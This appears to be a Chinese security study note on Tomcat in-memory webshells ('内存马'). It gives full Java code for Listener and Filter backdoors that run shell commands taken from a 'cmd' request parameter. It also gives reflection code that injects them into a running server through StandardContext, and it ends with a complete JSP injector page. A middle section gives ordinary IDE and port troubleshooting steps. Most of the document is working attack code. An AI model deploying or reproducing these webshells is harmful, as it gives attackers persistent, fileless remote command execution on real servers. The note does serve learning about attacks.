Day112_内存马技术

一、Tomcat Listener 内存马

1. Listener 使用

以下是 ServletRequestListener 的实现,用于监听 HTTP 请求并执行特定逻辑。

public class TestListen implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("requestInitialized");
        HttpServletRequest servletRequest = (HttpServletRequest) sre.getServletRequest();
        String requestURI = servletRequest.getRequestURI();
        if (requestURI.contains("/xiaodi")) {
            String cmd = servletRequest.getParameter("cmd");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        ServletRequestListener.super.requestInitialized(sre);
    }
}
 

web.xml 配置

web.xml 中添加以下配置以注册 Listener:

<listener>
    <listener-class>org.example.testlisten.TestListen</listener-class>
</listener>
 

2. 断点调试分析

通过断点调试,分析 Listener 的上下文获取过程:

  • StandardContext#context
  • ApplicationContext#context
  • ServletContext#request.getServletContext

3. 反射调用内存马

通过反射动态添加 Listener,实现内存马注入:

// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
 
// 获取 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
 
// 获取 StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
// 动态添加 Listener
TestListen testListen = new TestListen();
standardContext.addApplicationEventListener(testListen);
 

二、Tomcat Filter 内存马

1. Filter 使用

以下是 Filter 的实现,用于拦截 HTTP 请求并执行特定逻辑。

public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("TestFilter init");
        Filter.super.init(filterConfig);
    }
 
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("TestFilter doFilter");
        HttpServletRequest request1 = (HttpServletRequest) request;
        String requestURI = request1.getRequestURI();
        if (requestURI.contains("/xiaodi")) {
            String cmd = request.getParameter("cmd");
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
        chain.doFilter(request, response);
    }
 
    @Override
    public void destroy() {
        System.out.println("TestFilter destroy");
        Filter.super.destroy();
    }
}
 

web.xml 配置

web.xml 中添加以下配置以注册 Filter:

<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>org.example.testfilter.TestFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
 

2. 断点调试分析

Filter 相关核心对象包括:

  • filterConfigs:存储 Filter 配置信息。
  • filterDefs:存储 Filter 类引用和别名。
  • filterMaps:存储 Filter 别名和路由映射。

Filter 创建涉及的元素

  • Filter 类引用
  • Filter 别名
  • 对应路由
  • 绑定路由的 Filter 别名
  • Filter 实例

关键调用

  • filterDef#filterClass
  • filterDef#filterName
  • filterMap#urlPattern
  • filterMap#filterName

3. 反射调用内存马

通过反射动态添加 Filter,实现内存马注入:

// 获取 Servlet 上下文(ServletContext)
ServletContext servletContext = request.getServletContext();
 
// 反射获取 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
// 反射获取 StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
// 反射获取 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
 
// 创建 FilterDef 对象,设置 Filter 信息
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
 
// 创建 FilterMap 对象,设置 URL 映射(拦截所有资源)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
 
// 创建 ApplicationFilterConfig 并写入 filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

三,幽灵端口问题

🧩 1,确认端口状态

  • 以管理员身份运行 CMD:

    netstat -aon | findstr :8080

    若无结果,继续下一步。

  • PowerShell 再确认:

    Get-Process -Id (Get-NetTCPConnection -LocalPort 8080).OwningProcess

    若提示 “找不到项”,说明确实没有进程监听 8080 端口。


🧹 2,清理残留进程

  • 打开任务管理器 → 进入 详细信息 → 结束所有 java.exe 或 IDEA 相关进程;

  • 或在命令行中执行:

    taskkill /F /IM java.exe

这样可彻底清理掉挂起的 Tomcat / Spring Boot 进程。


⚙️ 3,清理 IDEA 缓存

  1. 关闭 IDEA;

  2. 删除项目下的以下目录:

    .idea
    out
    target
    
  3. 重新打开项目 → 选择 Build → Rebuild Project


🧰 4,检查运行配置

在 IDEA 顶部菜单中打开:

Run → Edit Configurations

  • 删除多余的 Application Server;

  • 检查端口是否被固定为 8080

  • 若需要修改端口:

    server:
      port: 8090

或修改 Tomcat 的配置文件 conf/server.xml

<Connector port="8090" protocol="HTTP/1.1" ... />

🔁 5,最终方案(保底)

若仍提示端口被占用:

🔄 重启电脑

这将清空挂起的 socket、系统缓存或虚拟化绑定端口问题。

四,杂乱笔记

<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%--
  Created by IntelliJ IDEA.
  User: aicx3
  Date: 2025/10/14
  Time: 16:20
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    class TestFilter implements javax.servlet.Filter {
        @Override
        public void init(javax.servlet.FilterConfig filterConfig) throws javax.servlet.ServletException {
            System.out.println("init");
            Filter.super.init(filterConfig);
        }

        @Override
        public void doFilter(javax.servlet.ServletRequest servletRequest, javax.servlet.ServletResponse servletResponse, javax.servlet.FilterChain filterChain) throws IOException, javax.servlet.ServletException {
            System.out.println("doFilter");
            javax.servlet.http.HttpServletRequest request1 = (javax.servlet.http.HttpServletRequest) servletRequest;
            String requestURI = request1.getRequestURI();
            String cmd = servletRequest.getParameter("cmd");
            if (requestURI.contains("Listen")) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }

        @Override
        public void destroy() {
            System.out.println("destroy");
            Filter.super.destroy();
        }
    }
%>

<%
    // 获取 Servlet 上下文
    ServletContext servletContext = request.getServletContext();
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);

    // 获取 ApplicationContext
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);

    // 获取 StandardContext
    StandardContext standardContext = (StandardContext) context1.get(applicationContext);

    // 创建并配置 FilterDef
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("TestFilter");
    filterDef.setFilterClass(new TestFilter().getClass().getName());
    standardContext.addFilterDef(filterDef);

    // 创建并配置 FilterMap
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("TestFilter");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMapBefore(filterMap);
%>